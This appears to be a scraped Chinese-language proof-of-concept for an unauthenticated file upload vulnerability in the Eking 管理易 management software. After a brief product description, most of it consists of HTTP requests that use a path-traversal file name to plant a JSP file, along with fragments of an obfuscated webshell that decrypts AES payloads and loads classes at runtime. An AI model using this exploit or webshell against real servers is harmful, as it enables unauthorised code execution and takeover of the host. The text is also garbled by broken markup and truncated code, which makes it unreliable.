该软件由广州易凯软件技术有限公司开发#xff0c;基于JAVA企业版技术研发#xff0…0x01

产品描述

‌Eking管理易是一款专为广告制品制作企业量身定制的管理软件产品旨在帮助企业实现规范化、科学化管理提升运营效率和降低运营成本。

‌

该软件由广州易凯软件技术有限公司开发基于JAVA企业版技术研发采用B/S架构支持Internet应用能够适应广告装饰、有机工艺、展览展示、有机丝印、喷绘写真等广告标识制作企业的需求‌

0x02

接口处存在前台任意文件上传漏洞未经身份验证的远程攻击者可利用此漏洞上传任意文件在服务器端任意执行代码写入后门获取服务器权限进而控制整个

web

application/x-www-form-urlencoded

Connection:

closecomm_typeINITsign_idshell1vp_typedefaultfile_name../../test1.jspfile_size2048

数据上传

boundary----WebKitFormBoundaryj7OlOPiiukkdktZR

Connection:

close------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR--

保存文件

application/x-www-form-urlencoded

Connection:

closecomm_typeENDsign_idshell1file_name../../test1.jsp

访问保存文件名地址

boundary----WebKitFormBoundaryj7OlOPiiukkdktZR

Connection:

close------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

------WebKitFormBoundaryj7OlOPiiukkdktZR

Content-Disposition:

javax.crypto.Cipher.getInstance(AES/ECB/PKCS5Padding);BBswL9.init(javax.crypto.Cipher.DECRYPT_MODE,

(javax.crypto.spec.SecretKeySpec)

Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(byte[].class,

String.class).newInstance(k.getBytes(),

AES));byte[]

clazz.getMethod(getDecoder).invoke(null);bytes

(byte[])

decoder.getClass().getMethod(decode,

Strings);}catch

String.class).invoke(clazz.newInstance(),

Strings);}byte[]

BBswL9.getClass()./*Zw8Cf543c0*/getDeclaredMethod/*Zw8Cf543c0*/(doFinal,

new

Class[]{byte[].class}).invoke(BBswL9,new

result;}

(request.getReader().readLine(),KF5n3T9);

java./*Zw8Cf543c0*/lang./*Zw8Cf543c0*/reflect.Method

Af5Wb

Class.forName(java.lang.ClassLoader).getDeclaredMethod/*Zw8Cf543c0*/(defineClass,byte[].class,int/**/.class,int/**/.class);

Class

(Class)Af5Wb.invoke(Thread.currentThread()./*Zw8Cf543c0*/getContextClassLoader(),

Iu73Wlq

------WebKitFormBoundaryj7OlOPiiukkdktZR--

0x05